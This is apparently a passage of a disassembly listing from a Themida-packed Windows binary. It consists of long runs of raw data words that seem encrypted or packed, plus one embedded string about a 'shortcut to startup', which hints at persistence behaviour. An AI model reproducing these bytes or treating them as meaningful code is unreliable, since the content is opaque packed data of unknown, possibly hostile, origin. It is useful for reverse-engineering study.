0B8C5D724h dd 1F307E8Bh, 1EA9B5FFh, 6A0645h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 95899DC3h, 6452B01h dd 2A1195FFh, 0CF800645h, 0FF006AE4h, 45312195h, 0EBC08B06h dd 8A1FC46Eh, 78CE0FB2h, 8663F27Eh, 0E46218CFh, 0F8B25D74h dd 0C9F42F84h, 0F2D875BBh, 30983BCDh, 36DC2F1Ch, 0C321751h dd 0BF5AD058h, 110EACC2h, 0B887AAF6h, 10981B28h, 0CB52CC0h dd 34A1E425h, 924AA4A1h, 0E2D8053Ch, 8EC61873h, 450F0F79h dd 0C93C36D1h, 0AD9032D3h, 16436E55h, 494A65B3h, 67AE5D0h dd 70AB3802h, 9E2BA430h, 0E838018Eh, 0Eh, 61A4B608h, 0EDB43C13h dd 247C8A89h, 9D898194h, 6450CF9h, 0E8805359h, 0C1815A56h dd 69B4h, 0C58D2951h, 5806452Eh, 2E8703BBh, 3FC38154h dd 80ABD193h, 398BACCAh, 6890Fh, 8D890000h, 6451EADh, 5C4EC781h dd 0BBBE7430h, 8113D802h, 27A6C5EFh, 14E85Dh, 55820000h dd 734AF6Dh, 0FFC6BBE4h, 0D03891B6h, 0A182437Ah, 0B589392Ah dd 6450645h, 0DCF7815Eh, 0E91C83B4h, 8, 67B3D85Ch, 0ACC4AED7h dd 83BE6657h, 29018F20h, 451269BDh, 3E98306h, 0B7A9BA66h dd 51B86649h, 1EB815Ch, 0F000000h, 0FFFF8985h, 0F6B70FFFh dd 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h, 0A90B3363h dd 982633A9h, 5E265AF1h, 0DD3E1AEFh, 0B44E6033h, 67A5E4FFh dd 0DD2FE6F8h, 2EA3BEA0h, 67207B2Bh, 0F5A3BA79h, 1B2076C9h dd 0DD2126D7h, 1D293333h, 98263383h, 0D8FBB6C0h, 157635ECh dd 0D266FCD6h, 0DD963AFh, 9E632EB9h, 98266483h, 15235935h dd 0D266EC1Fh, 1DAB634Bh, 9E6C7369h, 49B3CC03h, 93207699h dd 0A1A23C14h, 1526336Ah, 0D266ECB0h, 0AACE639Ch, 0D826334Dh dd 7DA3BEF6h, 0C8207913h, 0D8F9B624h, 6776359Eh, 0DD1666FFh dd 94E2B033h, 0D8F9B617h, 15763507h, 0D266FC23h, 0DD96355h dd 9E632EC4h, 9826513Dh, 74AD666Ah, 0CE746464h, 0AB2E4E11h dd 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch, 13EF002Bh dd 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h dd 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h dd 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h dd 517F6C8Eh, 152637A8h, 0D266FE88h, 9AABBE9Ch, 2020790Fh dd 93h, 71E7FC78h dword_592174 dd 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh, 4A4202B5h ; DATA XREF: Themida_:0053E190o dd 218D8D06h, 2B064A42h, 5E983CFh, 3CEEC88Bh, 55AF6103h dd 76A33403h, 0DF8CF75Eh, 0D7EC106Fh, 4E701047h, 133A3403h dd 1A54F756h, 0DF601583h, 134529BEh, 3C63BF05h, 55396503h dd 76E83403h, 0DF2DF75Ah, 0D73E104Fh, 4D191047h, 178E3403h dd 1DC1F752h, 28EBB4DEh, 0DBF85341h, 50AD36BAh, 50871FB8h dd 0F787B736h, 561B7133h, 0EB0D3D76h, 500230BEh, 6BA4003h dd 0EE11BF50h, 56E83000h, 4489B18Ah, 0CBB73246h, 505A816Fh dd 0ED5E7FCh, 52FA8980h, 22A33246h, 0EE826414h, 56E83000h dd 4489B18Ah, 0CBB73246h, 505A8658h, 0ED5E7FCh, 564ABF0Ch dd 5E4A3403h, 94D13403h, 10725DDBh, 0DF1BC1CAh, 131A75B6h dd 59DDBF05h, 568E358Ch, 0DA21C803h, 9F36BFDBh, 0FED77114h dd 9A6C3B07h, 3C743400h, 55D26303h, 761D3403h, 0DFD1F75Ch dd 0D743107Fh, 41A71047h, 11D13403h, 0CF0BF754h, 0E97B589Dh dd 0B787B7CAh, 561B7123h, 56C2B00Ch, 562D3403h, 56A0DC50h dd 0DF13403h, 0A616FC0h, 12F53027h, 56223027h, 55E3403h dd 0EC7B66C0h, 0E3CEEE8Eh, 50E629FEh, 56D246EAh, 4E85E03h dd 567437EBh, 95601403h, 7249BD59h, 72CAB507h, 56472D07h dd 95F17603h, 6D193EE1h, 56561DF6h, 30763424h, 0E4F0E582h dd 0C4CBB18Eh, 56E4324Bh, 5644DC52h, 0F833403h, 1A586DC0h dd 12693027h, 566C3027h, 77B3403h, 42B393C0h, 8671DB42h dd 96C25BB4h, 5675B00Ch, 56BB3403h, 56EBDC55h, 8543403h dd 22B36AC0h, 129C3027h, 56983027h, 13403h, 7A9BC9C0h dd 30860C82h, 0D3E7CF82h, 56743456h, 0BE6C3469h, 561D3400h dd 84D6A23h, 5263408Ah, 52877082h, 56D13414h, 3D2B6245h dd 304E145Fh, 0AE2AF782h, 5265B565h, 0D2813601h, 564736FBh dd 0BEF13469h, 56D13400h, 0C2B6E23h, 5250608Ah, 521E7082h dd 561D3414h, 2F4D6641h, 67D06EBBh, 13A69DB6h, 6E505205h dd 0D3E7549Fh, 5674344Fh, 0C722D6B9h, 5465B446h, 6B0B3BEBh dd 3C473403h, 554B6303h, 76D13403h, 0DFB7F75Ch, 0D770107Fh dd 433E1047h, 111D3403h, 5436F754h, 52CAB98Ah, 0D7C53246h dd 0FDD1327Bh, 56E6B10Ch, 0EB5D3403h, 507F2322h, 561F4BEAh dd 84393B03h, 574634BDh, 0DB818345h, 1E43E286h, 0DD38CB05h dd 137F1996h, 99B15205h, 0D212F486h, 568E361Ch, 7A86A92Ah dd 0CB283246h, 509416EAh, 6B8E0C82h, 0D37B3601h, 563A3432h dd 66788988h, 2E0F3246h, 97A5205h, 67273B79h, 3CD13401h dd 55006403h, 76743403h, 0DF62F75Bh, 0D7191047h, 408A1047h dd 16473403h, 545CF753h, 6E505234h, 0D3E7549Fh, 56743466h dd 0BE6D3469h, 561D3400h, 94D6B23h, 5263488Ah, 52877082h dd 56D1341Fh, 232B6344h, 9017432h, 0F2044EAEh, 534C890Ah dd 0EBA73246h, 500215D2h, 0BEA14C83h, 56FAB10Ch, 0EB613403h dd 50312BAAh, 0CB870553h, 0C1B7103h, 50F6B565h, 0D348F403h dd 56A33412h, 5738A98Ah, 0FF013246h, 67743402h, 1324599Eh dd 571D8A05h, 56E44A02h, 5644DC51h, 0C833403h, 2586EC0h dd 12693027h db 27h, 30h word_5924EA dw 5668h ; DATA XREF: Themida_:005410CCo dd 4783403h, 0FC5026C0h, 6CCE040Fh, 0D3CA13FFh, 50EBA6D5h dd 0B9505252h, 0A9B3FA1Eh, 0A5F552D3h, 96BFD91Dh, 573CB00Ch dd 56E43403h, 5644DC56h, 0B833403h, 3A5869C0h, 12693027h dd 56683027h, 37F3403h, 0E677BC0h, 242F4E3Dh, 0DA488FCEh dd 56A3341Ch, 56C8BC0Ch, 45003403h, 6A743403h, 3D99EA02h dd 75C41357h, 0F024EB5Dh, 746F6D3Fh, 0D6FA992Eh, 0D3DEDC3Bh dd 56E8345Dh, 0BE223469h, 563A3400h, 8DE6A23h, 52AA408Ah dd 52637082h, 56A3341Fh, 89126245h, 4E3768DBh, 0C8A0A691h dd 5634B20Ch, 5FF43403h, 1B8E3403h, 0E849D7AFh, 0ECC92724h dd 25D44C83h, 56F4B10Ch, 0D3FD3403h, 507F236Eh, 51A4C83h dd 5634B00Ch, 0D1483403h, 56A33405h, 5284A98Ah, 0D78E3246h dd 5971BB3Bh, 563A5286h, 0E788BD03h, 0D6887131h, 592F327Bh dd 56A36286h, 0D7805403h, 0B08BF1C1h, 449D6D5Eh, 0CB3A3403h dd 95D659FAh, 0BA2FD811h, 45FE265Dh, 0C07D1EB7h, 0D7B755B5h dd 73173F7Bh, 565DB10Ch, 0CB193403h, 5058258Ah, 568E6FEAh dd 4ECB3B03h, 0BEA33403h, 56D13412h, 89C6F5B1h, 936E33F9h dd 7F3DABA3h, 0D3E471A4h, 0EED7C1E7h, 56473403h, 5E4AEC88h dd 73D13403h, 0C85BF5B2h, 0BFA0A885h, 563A342Ch, 0BE4D3469h dd 568E3400h, 0E846C23h, 5287708Ah, 52F57082h, 56E83415h dd 45B76443h, 0BDBB4210h, 66B8DE8Eh, 568E35BBh, 0C3CABF03h dd 6A57110h, 0DF00BF65h, 56821007h, 5677DC54h, 91A3403h dd 2A946BC0h, 120F3027h, 565C3027h, 1E43403h, 88A2BC0h dd 99FA1884h, 0DBBEBF77h, 1C7817BEh, 290B905h, 0EE887E44h dd 21216120h, 781EB100h, 99FA3246h, 1D8ADDC2h, 0E44A0257h dd 44DC5156h, 83340356h, 586EC00Ch, 69302702h, 83302712h dd 0A4F305E9h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 15850117h, 0B064522h dd 89840FC0h, 8B000000h, 452509BDh, 1CB58D06h, 6A06454Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0F98CC353h, 0EE2D55Eh, 3B8DE2Fh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 95BCC350h, 0E6FF05EFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 8CC35747h, 0A13DB8A2h, 821C9553h dd 0A8C0Fh, 60600000h, 59958B61h, 61064513h, 89C08B40h dd 453159B5h, 0B1958906h, 8306452Bh, 4530A1BDh, 9750006h dd 4BDBD83h, 74000645h, 8B535019h, 403B8C0h, 85890000h dd 6452C41h, 0B5D39D8Dh, 0D3FF0647h, 0BD83585Bh, 64504BDh dd 50177400h, 403B853h, 85890000h, 6452C41h, 0B2749D8Dh dd 0D3FF0647h, 9589585Bh, 6452C01h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 2DC35040h, 167FBD0Ch, 85896017h dd 64520D9h, 11C18D89h, 0B1610645h, 9E99Fh, 7570000h, 933C80D1h dd 8B526C7Fh, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 2AD55634h, 0E9A0ED95h, 0Fh, 904EA4A5h dd 6FE43BA9h, 6462982Dh, 6118C6BAh, 49EA8D8Dh, 6A064Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 6AD602C3h, 6840F60h, 0F000000h, 8Fh, 68F0F00h, 8B000000h dd 4518F9B5h, 8D896106h, 6452A01h, 300DBD8Bh, 95890645h dd 6452595h, 3D585C7h, 5B4C0645h, 0B58B0000h, 6450799h dd 95D85C7h, 645h, 85BB0000h, 0FF2CA3D7h, 452C85B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0DE885h, 0BABC0000h, 3F8488EEh, 0FD39173Eh, 5E0D6223h dd 2A1195FFh, 6A0645h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0D34CA2C3h, 13E8AE27h, 1C000000h dd 92DA1C8Dh, 8435BEACh, 0C916E98Ah, 0B06BDF25h, 0BF0F801Bh dd 6A5AF3h, 312195FFh, 0C08B0645h, 5F063DEBh, 391406B4h dd 85A922CCh, 0E1A13BD4h, 7ACF98F0h, 22E7F1D8h, 0BBF92342h dd 3FABB545h, 218C9F1Fh, 0FB09AEC2h, 0E5CC2AD2h, 0AD4EABFEh dd 566C03F3h, 6A46BDDDh, 0C65F885Fh, 205CF6ABh, 34F0A5B9h dd 9C673677h, 0D8BF56EAh, 0B05981Fh, 20096B6h, 50941B32h dd 3077510h, 521D18Fh, 0A40E3034h, 1001303Fh, 898CB964h dd 5B07752Ch, 200B6DBh, 0BF676032h, 8488664Bh, 16015A16h dd 200133DAh, 0D35F1032h, 2C75B96Ch, 2045B136h, 2012436h dd 0C2577632h, 0B59CBB3Ch, 4F07752Ch, 0DE257C33h, 0F8503058h dd 8013031h, 5DC26912h, 6257CBBh, 52574B3h, 80013024h dd 40C26173h, 4A59C1D4h, 13E96032h, 28013032h, 8D59F36Ah dd 83051476h, 1A051476h, 0C0013032h, 0CC30F362h, 7E9F4B81h dd 0AD08135Eh, 0E442913h, 107C85B9h, 0C2823677h, 53015A1Eh dd 800133DAh, 835B1032h, 455B968h, 3445B136h, 8012536h dd 0C7537232h, 0B9679E43h, 8C88F86Ch, 8644141Bh, 0CB6738B9h dd 688A56CCh, 562E8ECEh, 89672826h, 0BFE060Bh, 201B8B6h dd 56015A32h, 800133DAh, 835E1032h, 47DB96Dh, 3445B136h dd 8012636h, 0C7567732h, 0D0B16DCh, 10132BFh, 3F2BA32h dd 0D50039F3h, 264426C7h, 1FE809B2h, 801BEB7h, 458AC532h dd 53015A33h, 10133DAh, 43581032h, 644DB96Bh, 445B136h dd 10012A36h, 0CB507132h, 0FBE8B5EEh, 89BE4C81h, 440C6187h dd 9C93334h, 50089AFh, 25C0B334h, 1003BA3Dh, 0F08A3032h dd 4F9109B3h, 870EBB71h, 1013071h, 6BCFD38Ch, 5C8CBD58h dd 0A907757Ch, 552E09B7h, 5BD7B134h, 0BC728BE7h, 2013031h dd 0E9523058h, 80013031h, 1BC26B12h, 24256CBBh, 142574B3h dd 801302Bh, 0AFC26371h, 69364C59h, 0FED8BABAh, 0E1D1BBD3h dd 0A8523058h, 20013031h, 4BC26B12h, 0C256CBBh, 2574B3h dd 2013025h, 42C26371h, 0B11270ADh, 513558Fh, 0CBCBD34h dd 9D077A78h, 424D1ABFh, 87758834h, 873231A0h, 74438F3h dd 20C0FF19h, 34F0A5B9h, 9C673677h, 0D8BF56EAh, 0B05981Fh dd 20096B6h, 50941B32h, 5E98310h, 0C08BA4F3h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 59C35545h, 0BE5F3051h dd 9E986h, 62B10000h, 8325BC3h, 0FB69F89h, 788h, 8B666000h dd 61F38BCBh, 0B0E9C38Bh, 60000000h, 0F6DA8C66h, 850F04C2h dd 0Ch, 985853Bh, 840F0645h, 36h, 2BE5853Bh, 840F0645h dd 2Ah, 1DE1853Bh, 840F0645h, 1Eh, 1D99853Bh, 840F0645h dd 12h, 9DDBD83h, 0F010645h, 584h, 5FE900h, 0D08B0000h dd 8B3C5203h, 88BAh, 784A8B00h, 840FC985h, 49h, 0F8C281h dd 728B0000h, 8BC8030Ch, 518B1C59h, 8BD80314h, 0FC9850Bh dd 1084h, 0FCE3B00h, 1782h, 0FCF3B00h, 0F83h, 4C38300h dd 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4E1C9D8Dh, 5B80645h, 0FF000000h dd 0BC361E3h, 536CEBD0h, 74726F68h, 20747563h, 73206F74h dd 74726174h, 7075h, 13h dup(0) dd 56000000h, 16BD006h, 0E9000000h, 0F3Ch, 4A4F3F68h, 0F804E906h dd 5C68FFFBh, 0E9064A50h, 0FFFBF7FAh, 4A526268h, 0F7F0E906h dd 0A168FFFBh, 0E9064A52h, 0FFFBF7E6h, 4A534168h, 0F7DCE906h dd 0DD68FFFBh, 0E9064A53h, 0FFFBF7D2h, 4A57C068h, 0F7C8E906h dd 3868FFFBh, 0E9064A5Ah, 0FFFBF7BEh, 4A5B4C68h, 0F7B4E906h dd 5668FFFBh, 9E3B6DFCh, 30CFC108h, 659D17A6h, 93326AF5h dd 6A99BA05h, 2CBF29A4h, 7EC15B74h, 0CF1E8806h, 1EA139D5h dd 0C91FEBB5h, 72D57F5h, 6363EB6Bh, 813D77F7h, 2D31C609h dd 0B737A15Eh, 4D839538h, 0C11E5162h, 5BCA664h, 5EDF0481h dd 191BCC35h, 0DFD90FDBh, 40F72D5Ch, 0B5F9175Dh, 57CEEE92h dd 0AF9DC71Fh, 0F672D5Ch, 0F9DDC236h, 38F4AA26h, 0BC000000h dd 2C3C7013h, 0B8DB77C7h, 0A45D4BCAh, 9C07B832h, 9934475Bh dd 0D098980Fh, 355F3F2Fh, 449CDE81h, 2D5D401Eh, 59B58CE4h dd 9C079333h, 266D1394h, 0C122AAh, 4B440000h, 8332A45Dh dd 31AD25D9h, 6ECC5A7Bh, 0A33DD63Ch, 0C55D710Bh, 30A3D669h dd 80DAB448h, 247CEAEAh, 64A1A8Bh, 0DFF2E92Eh, 0A0143BB9h dd 52950CA4h, 0F2743C72h, 0DC33A1EAh, 7B32C86Bh, 1F33A1E6h dd 0E2AEDBF1h, 33A1E684h, 0C77EE54Ah, 66E9619Dh, 0A238962Eh dd 9B9D2B37h, 5EF872CFh, 0D619CE35h, 0A9EB5D21h, 1861EFE1h dd 8E3E212Fh, 0EC7D72AFh, 6E365Dh, 0D0C8138Dh, 9FA9A33Dh dd 4F97F708h, 0CEA7B0Fh, 0A25C0000h, 0D2EFA128h, 483F544h dd 0B9514B92h, 0EFE69E21h, 56EDEE71h, 60EB6598h, 0B23D9728h dd 34ADCFAh, 529D7589h, 95D39F89h, 3B2D57F4h, 6263D7AFh dd 933365F4h, 9CF6B407h, 44D6ED9Eh, 922947D1h, 0EA0DA238h dd 3F31CE9Ah, 0D88F355Fh, 2BAAC082h, 0A3D64078h, 0C159710Bh dd 45D3F25Ah, 3F9AC8D2h, 35D22D5Dh, 59710BA3h, 0F63C6DC1h dd 4CA47E7Fh, 6D9E01F5h, 0F1D2AA26h, 7D120C2Eh, 4189DD0Bh dd 1B8EBD0Bh, 0E3544DF4h, 0FE000000h, 0C4A5184Bh, 55294FE1h dd 4C5A7A22h, 47F8E3A4h, 41C8393h, 0E945D3EEh, 0C5872F56h dd 6C9DCB87h, 8C3333A1h, 0E9923315h, 0A16CC721h, 33A60933h dd 68CC63BBh, 0EEE633A1h, 0CECA2070h, 0AAD0258h, 4DC5F9B3h dd 0E010B311h, 6C7F5CA2h, 0ABB730A3h, 0F24F1B1Dh, 80355E5Fh dd 9BE9052Fh, 0E51C34B0h, 0CE6BF265h, 723E46F0h, 2F186C27h dd 2442D285h, 48DEFAA9h, 551D5325h, 339F4C13h, 50EB0ABDh dd 112BA558h, 97F79D21h, 0CDC5A13Dh, 3F00000Bh, 0CAC20D85h dd 9E1659CFh, 2C64F761h, 0C1BB0294h, 0CA0B52CCh, 0CE5875BBh dd 108A057Fh, 0A139D7C9h, 0F06E661Eh, 0ECA4E469h, 2D57F37Ah dd 63B8D854h, 1B65F462h, 9DCB87C5h, 3333A243h, 43E87E8Ch dd 602833A2h, 33A24406h, 6CD367C8h, 0E77393F5h, 63635654h dd 0D71577F7h, 0A243CD1Bh, 7FEFE533h, 6BDD44EBh, 0C9A3A6Bh dd 0AAEA11AEh, 0ADD4467Ch, 0A35C4A1Ah, 55298E29h, 0BE3CAA26h dd 1F5FC9C4h, 8E963DA0h, 5F4295C2h, 639FF535h, 88F24CF7h dd 9EF0E771h, 8CFAFAFCh, 8BE1B326h, 0CE649F0Bh, 5D2DCC16h dd 0C77EB62Dh, 52C4FD2Bh, 7F664923h, 74DAA26h, 0E9000000h dd 80A6Dh, 754B3500h, 0A2442BBDh, 499F6B33h, 8733A244h dd 0BED98ED0h, 81932539h, 5F42F0C9h, 5F9F4035h, 0AE31A925h dd 0EA40DEF6h, 191FD632h, 0A234D2D0h, 0C0567208h, 0F54CCC6Ah dd 20175119h, 16B9D2A1h, 0C960BEE3h, 0A8B38A25h, 3C59809Fh dd 7223A385h, 89DFC254h, 0AB9337ECh, 0DCCA4AF1h, 0BCA62923h dd 3469940Ah, 0BA572D81h, 0C71EB92Ch, 11D931CDh, 1451B39Dh dd 0B718188Fh, 0A35FFCB6h, 32890037h, 0FA6C6BD5h, 0AA3B135Bh dd 64D2A0FCh, 0D610D81Eh, 0F8D2A0FCh, 852A057h, 0BF8463CEh dd 13D76E04h, 0DCD467F3h, 0DC34B620h, 0FD14C863h, 0C7033A70h dd 0E37D96CFh, 3741F44Bh, 37D30B9Ch, 0C35BD7F5h, 97824153h dd 31882B5Eh, 93CB477Fh, 0D6AE18E6h, 612AED1Ah, 99512396h dd 9AE7254Fh, 0E9ABDE81h, 8E960083h, 0E724A4C2h, 12852A9Ah dd 0E09098CBh, 0FA54691Ah, 805CD57h, 0C09CA42Dh, 0C56C221Fh dd 3ADEB4DCh, 0C6829224h, 0F4704C31h, 7B2289Fh, 3F8B8D3Bh dd 0EEBE9437h, 0C1D7685Bh, 1C9120B3h, 0A2F265E5h, 0FB1B4844h dd 244478EFh, 8F32C4EEh, 0DEAB3DF5h, 0B225F2BEh, 0C8C4BC0Fh dd 0C0BE5Eh, 3446D716h, 9C770h, 178F0100h, 0A335CCC4h dd 0F16B6018h, 0C9A366Eh, 5CCACBBDh, 7BB5C00Dh, 0B7DCC5Ah dd 0D5CF1E88h, 641CAF3Fh, 0E66FFE68h, 0F178EEBAh, 0DA562D57h dd 0F76363BAh, 0F56571D5h, 0ED99E597h, 988h, 756C0C2h dd 5BE2748Dh, 0A930AA21h, 0FC4FDBF7h, 4C9F0984h, 9B3AF40Fh dd 0C9CAC20Dh, 7E940C5Fh, 0AB2B5DECh, 7927AC3Fh, 57F237B1h dd 750D992Dh, 0ADF76363h, 0A0D34F47h, 0C35D700Ah, 0B1414978h dd 51191BADh, 355F4C3Ch, 71EFE694h, 62DF42FDh, 1274FBACh dd 3D4E4C6Eh, 0DCD61486h, 9D00B721h, 0C6506D9Bh, 0D8A8CB64h dd 66F26710h, 44E6496Dh, 397BCDD1h, 0ACFA8571h, 89016B73h dd 0F40A6A11h, 0D4C0EC76h, 5B9D7A1h, 462428Dh, 6FC01A8Ch dd 0E6708CF4h, 2C7CE6h, 1490EA50h, 8E8h, 0A736A022h, 0FB42D4EDh dd 49900A81h, 9C2FBB57h, 0EC7FE9E4h, 7B9A54EFh, 0A92A62EDh dd 0DEF4AC3Fh, 0B8BFD4Ch, 99874C9Fh, 57F097D1h, 0D5AD392Dh dd 2BBD754Bh, 0A533A244h, 25D98332h, 5D7B31ADh, 0BD754BCDh dd 33A2442Bh, 230F32A5h, 8122F163h, 6DC679Eh, 33A17B40h dd 7B3D8B97h, 67B075AFh, 146CD335h, 0BFCC1AD6h, 70A12D57h dd 5BE22086h, 9C07A83Eh, 0F06E668Ch, 39F3769h, 0A23CD1ABh dd 35FF1D2h, 0D0F88005h, 59770DA1h, 0F71A8C04h, 0BFE49DD5h dd 0F98DD191h, 84Ch, 438A04BEh, 9726B049h, 0E574E61Dh dd 388317B3h, 88D34D40h, 0DFF6384Bh, 0D86FE41h, 0BA504893h dd 0EFE79920h, 2563E873h, 57F0FB6Dh, 3959D52Dh, 2776363h dd 0D5A76EC2h, 1C96D47Bh, 1AF476E0h, 23A367DEh, 5B5C24B7h dd 7AA3E1C9h, 4F7h, 289E9C1Ch, 7982A068h, 0F6CC3568h, 57F6AC3Ah dd 16BD222Dh, 72ECE00Eh, 5DCFC422h, 0AC37AE01h, 0F3853B0Bh dd 0F9EC7E95h, 0E0E08FA0h, 51853C2Bh, 3B86B6F9h, 370E66D6h dd 822DCC3h, 5AFB23h, 9C9F0000h, 3E542C92h, 9FE90886h dd 0A24395D3h, 56943B33h, 7D65A8FEh, 50CAC013h, 6680481Ah dd 68133AE1h, 0EA7C95C7h, 0BEB7C770h, 360F67BFh, 8214ACDAh dd 46C9728h, 0C448C7A3h, 6506BFD5h, 3ADA3BADh, 0BF229513h dd 6011803Fh, 0Ch, 2136D02h, 0F9170000h, 79D54CC6h, 68289E9Ch dd 6878EAA0h, 3BB32435h, 57F682E3h, 8B247E2Dh, 0A678E1DCh dd 0BBF362FBh, 13A5B982h, 0F8C34901h, 0AA1D2F1Dh, 0FA546923h dd 0F2812260h, 4FC1AE0Dh, 0C7FEA6D1h, 2981549h, 0F8D6EF2Bh dd 1B5860FCh, 4990071Dh, 30D3397Fh, 0E01254A6h, 0BBC33A1h dd 851FB0E8h, 26B05329h, 0BCB5E984h, 82CD4778h, 0A1E030A8h dd 15526833h, 0A1E00B5Dh, 2A12C533h, 0EA13DABh, 0A458509Bh dd 9CF0B02Ah, 0BED3E992h, 99569402h, 0D047F872h, 0D44E412Fh dd 108A056Bh, 0E006C200h, 0EE33A243h, 3621DE79h, 26B04EB7h dd 45D3EE84h, 72CB4FE9h, 90A9F173h, 0E1698364h, 3BF735A3h dd 33A237ADh, 6C05BC23h, 397h, 0A55D4B36h, 43D610D8h, 57F833A2h dd 36CFB120h, 16B2D858h dd 62952A80h, 0B36FFBC8h, 0B92AC67Fh, 7408BE48h, 3164D0B5h dd 713BAD50h, 0F86FE19h, 0BF564E91h, 0BF503821h, 9E963C25h dd 82184BA7h, 3B328E03h, 708DF76Eh, 5B709EE6h, 8FE156C1h dd 8B439B77h, 33A2055Ah, 0AB6FC646h, 5C2CBF2Bh, 91009E36h dd 25B911AFh, 0A20578EDh, 57BDEF33h, 0FDB120BEh, 900A8044h dd 0F9C7F549h, 720233A1h, 0CE6CFE14h, 0E3CA4A71h, 0B5964D76h dd 81866A02h, 24ADA3E1h, 0C9FFFFFFh, 5E13184Bh, 4FE6113Fh dd 0C6506CD4h, 9813D77h, 0A8E87DD5h, 58D033A1h, 31A925E1h dd 0C1DFF6AEh, 5D9E73C2h, 9CDE4540h, 0B22CA0CEh, 0CFD6FB03h dd 6E468390h, 31CD3BD7h, 0BAA0559h, 54DD7E61h, 6B5574h dd 0F0D30000h, 93FB6A9Fh, 94C67164h, 68289E9Ch, 0E1108602h dd 127E5197h, 76264ED9h, 0C9435BFAh, 735686Ch, 0A481A50h dd 580328BEh, 8631A62Dh, 5802EB7Ch, 0E841A92Dh, 2BB09B1Ch dd 0D39FDDAAh, 2D580095h, 0C48C943Bh, 2D5800A2h, 6F18BB2Ch dd 13h, 3D57C10Bh, 7CDA33A2h, 0FFFFFE00h, 76D04h, 6D350000h dd 24Fh, 32636335h, 5C9E0593h, 0DAF5AE26h, 2E55EA40h, 0B2041A9Fh dd 335D26E2h, 4A65355Fh, 517F4CD3h, 0CA148F0Bh, 0D311C965h dd 0B12D5C74h, 0B334C079h, 82AA2734h, 57h, 289E9CA4h, 0E4F44768h dd 338A1758h, 11B2F080h, 0F525627Fh, 4268A7D7h, 0B0554C34h dd 6F10EA0Dh, 8F355E5Eh, 5E678149h, 0C6692D5Ch, 5E74F2BEh dd 0F55A2D5Ch, 134BFC42h, 5C5EA93Bh, 54CEC12Dh, 0F2649C16h dd 0E35ADE78h, 61D810E2h, 274E1295h, 0A721AAh, 63450000h dd 6FADF763h, 0A24445A3h, 0BD248B33h, 0D4424339h, 76E01C96h dd 8806BEF4h, 3F42ED41h, 7F5033A2h, 0B308F454h, 0BCE41FDAh dd 0B2479600h, 4E1A1AACh, 355D16CDh, 56BCC46Bh, 0CE9E21BFh dd 1B02AA0h, 0D0EDA65Fh, 65CBE446h, 76E1C3C8h, 6B65883Fh dd 91B269E5h, 697D0955h, 0A3000004h, 6E26A921h, 27AC553h dd 0D0C81385h, 651FAE38h, 6E6FFE68h, 6AE419D7h, 0BC16A9E3h dd 0CD5D7B2Dh, 1C8A0A82h, 501808CDh, 2D57ED16h, 63542CB8h dd 6EACF462h, 0A24444A2h, 0B2258A33h, 9533592Bh, 0EF16A905h dd 3E8119B5h, 0F763634Ch, 0C1FF1577h, 7EE8E749h, 2C619DC7h dd 0BD560690h, 81348B23h, 13A5B93Eh, 47404901h, 2F90355Fh dd 410B578Fh, 0BFFB2D5Dh, 17A1BD86h, 4444450Dh, 0C422F1Ah dd 0A2442244h, 1AD6AC33h, 33A243CCh, 8F365D02h, 0DAB44933h dd 67D1B937h, 5BCEBDC2h, 2D9B6710h, 14863D6Bh, 725D93EDh dd 54FA159Eh, 0F90DB438h, 3567BAABh, 84E2B225h, 0F8529D0Fh dd 2D575070h, 51987288h, 6351h, 5D4BF100h, 748E29A1h, 33A243EEh dd 0C848FCC1h, 695B2BE7h, 0ABCA7DE6h, 69639810h, 0D8D9EB7Bh dd 0C355F834h, 0F6A3C58Dh, 0BA2D33A1h, 0ED7BD31Bh, 0F833A1F6h dd 0B04F8BA2h, 0E71D9726h, 7F95F777h, 59ADD442h, 33A1F70Ch dd 0BA30A622h, 1B53CDC0h, 0F6678149h, 0C66933A1h, 25241D91h dd 15D16822h, 0AEDC6FFFh, 5A756563h, 0F19F06D0h, 641E5CC3h dd 0A07EFC6Eh, 9F35F148h, 7E66BC0Fh, 8233A1DEh, 0A1D8A0C6h dd 9C542E33h, 33A1D94Ah, 39ACD384h, 0E1D08167h, 0FF6850A3h dd 4BF2FFFFh, 69E11F75h, 36B07AF5h, 9833A244h, 38D48C37h dd 755E0CAEh, 15EB2389h, 68F3730Bh, 9C6584A1h, 2FF34269h dd 143708AFh, 8F1BBBEDh, 0D4A7BB3Ch, 7E06AD3Fh, 5E69D1B2h dd 0B24D3F35h, 0E139B5D8h, 2D5C4983h, 0E4102901h, 0AA276003h dd 29D2h, 9E9C7400h, 0DFA06828h, 31355F3Fh, 6EF42C8Eh dd 142D5D3Fh, 0E9165DCh, 42AA266Dh, 215D7361h, 0D9789A58h dd 0EC28h, 63634A00h, 803D77F7h, 26DED416h, 54AAE8A8h dd 0A2444A9Ch, 0CBD38433h, 33A2439Dh, 27DC8C33h, 1F8639B5h dd 0A921DDD7h, 3F61CC26h, 9E3133A2h, 6F6A7473h, 27CA65F9h dd 0D0ED2EE4h, 244BE446h, 5FCBCBBDh, 0EE78940Ch, 43F5C94Ch dd 469E9E31h, 42EA982h, 0A1F01A4Ch, 9C03B433h, 465F2B65h dd 4C355EC4h, 4D3FA926h, 2FB322B4h, 0BA8031B8h, 